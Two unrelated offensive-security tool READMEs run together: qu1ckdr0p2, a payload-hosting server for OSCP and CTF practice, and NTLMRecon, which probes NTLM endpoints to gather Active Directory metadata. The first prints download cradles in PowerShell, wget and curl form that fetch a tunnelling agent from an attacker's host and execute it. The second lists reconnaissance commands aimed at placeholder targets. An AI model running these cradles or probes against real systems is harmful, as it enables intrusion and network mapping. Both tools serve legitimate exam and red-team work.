Rapidly host payloads and post-exploitation bins over HTTP or HTTPS.
Designed to be used on exams like OSCP / PNPT or CTFs HTB / etc.
Pull requests and issues welcome. As are any contributions.
Qu1ckdr0p2 comes with an alias and search feature. The tools are located in the qu1ckdr0p2-tools repository. By default it will generate a self-signed certificate to use when using the --https
option, priority is also given to the tun0
interface when the webserver is running, otherwise it will use eth0
.
The common.ini defines the mapped aliases used within the --search and -u
options.
When the webserver is running there are several download cradles printed to the screen to copy and paste.
pip3 install qu1ckdr0p2
echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc
or
echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc
serv init --update
$ serv serve -f implant.bin --https 443
$ serv serve -f file.example --http 8080
$ serv --help
Usage: serv [OPTIONS] COMMAND [ARGS]...
Welcome to qu1ckdr0p2 entry point.
Options:
--debug Enable debug mode.
--help Show this message and exit.
Commands:
init Perform updates.
serve Serve files.
$ serv serve --help
Usage: serv serve [OPTIONS]
Serve files.
Options:
-l, --list List aliases
-s, --search TEXT Search query for aliases
-u, --use INTEGER Use an alias by a dynamic number
-f, --file FILE Serve a file
--http INTEGER Use HTTP with a custom port
--https INTEGER Use HTTPS with a custom port
-h, --help Show this message and exit.
$ serv init --help
Usage: serv init [OPTIONS]
Perform updates.
Options:
--update Check and download missing tools.
--update-self Update the tool using pip.
--update-self-test Used for dev testing, installs unstable build.
--help Show this message and exit.
$ serv init --update
$ serv init --update-self
The mapped alias numbers for the -u
option are dynamic so you don't have to remember specific numbers or ever type out a tool name.
$ serv serve --search ligolo
[β] Path: ~/.qu1ckdr0p2/windows/agent.exe
[β] Alias: ligolo_agent_win
[β] Use: 1
[β] Path: ~/.qu1ckdr0p2/windows/proxy.exe
[β] Alias: ligolo_proxy_win
[β] Use: 2
[β] Path: ~/.qu1ckdr0p2/linux/agent
[β] Alias: ligolo_agent_linux
[β] Use: 3
[β] Path: ~/.qu1ckdr0p2/linux/proxy
[β] Alias: ligolo_proxy_linux
[β] Use: 4
(...)
$ serv serve --search ligolo -u 3 --http 80
[β] Serving: ../../.qu1ckdr0p2/linux/agent
[β] Protocol: http
[β] IP address: 192.168.1.5
[β] Port: 80
[β] Interface: eth0
[β] CTRL+C to quit
[β] URL: http://192.168.1.5:80/agent
[β] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'
[β] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[β] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[β] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent
β § Web server running
MIT
NTLMRecon is a Golang version of the original NTLMRecon utility written by Sachin Kamath (AKA pwnfoo). NTLMRecon can be leveraged to perform brute forcing against a targeted webserver to identify common application endpoints supporting NTLM authentication. This includes endpoints such as the Exchange Web Services endpoint which can often be leveraged to bypass multi-factor authentication.
The tool supports collecting metadata from the exposed NTLM authentication endpoints including information on the computer name, Active Directory domain name, and Active Directory forest name. This information can be obtained without prior authentication by sending an NTLM NEGOTIATE_MESSAGE packet to the server and examining the NTLM CHALLENGE_MESSAGE returned by the targeted server. We have also published a blog post alongside this tool discussing some of the motiviations behind it's development and how we are approaching more advanced metadata collectoin within Chariot.
We wanted to perform brute-forcing and automated identification of exposed NTLM authentication endpoints within Chariot, our external attack surface management and continuous automated red teaming platform. Our primary backend scanning infrastructure is written in Golang and we didn't want to have to download and shell out to the NTLMRecon utility in Python to collect this information. We also wanted more control over the level of detail of the information we collected, etc.
The following command can be leveraged to install the NTLMRecon utility. Alternatively, you may download a precompiled version of the binary from the releases tab in GitHub.
go install github.com/praetorian-inc/NTLMRecon/cmd/NTLMRecon@latest
The following command can be leveraged to invoke the NTLM recon utility and discover exposed NTLM authentication endpoints:
NTLMRecon -t https://autodiscover.contoso.com
The following command can be leveraged to invoke the NTLM recon utility and discover exposed NTLM endpoints while outputting collected metadata in a JSON format:
NTLMRecon -t https://autodiscover.contoso.com -o json
Below is an example JSON output with the data we collect from the NTLM CHALLENGE_MESSAGE returned by the server:
{
"url": "https://autodiscover.contoso.com/EWS/",
"ntlm": {
"netbiosComputerName": "MSEXCH1",
"netbiosDomainName": "CONTOSO",
"dnsDomainName": "na.contoso.local",
"dnsComputerName": "msexch1.na.contoso.local",
"forestName": "contoso.local"
}
}
β ~ NTLMRecon -t https://adfs.contoso.com -o json | jq
{
"url": "https://adfs.contoso.com/adfs/services/trust/2005/windowstransport",
"ntlm": {
"netbiosComputerName": "MSFED1",
"netbiosDomainName": "CONTOSO",
"dnsDomainName": "corp.contoso.com",
"dnsComputerName": "MSEXCH1.corp.contoso.com",
"forestName": "contoso.com"
}
}
β ~ NTLMRecon -t https://autodiscover.contoso.com
https://autodiscover.contoso.com/Autodiscover
https://autodiscover.contoso.com/Autodiscover/AutodiscoverService.svc/root
https://autodiscover.contoso.com/Autodiscover/Autodiscover.xml
https://autodiscover.contoso.com/EWS/
https://autodiscover.contoso.com/OAB/
https://autodiscover.contoso.com/Rpc/
β ~
Our methodology when developing this tool has targeted the most barebones version of the desired capability for the initial release. The goal for this project was to create an initial tool we could integrate into Chariot and then allow community contributions and feedback to drive additional tooling improvements or functionality. Below are some ideas for additional functionality which could be added to NTLMRecon:
[1] https://www.praetorian.com/blog/automating-the-discovery-of-ntlm-authentication-endpoints/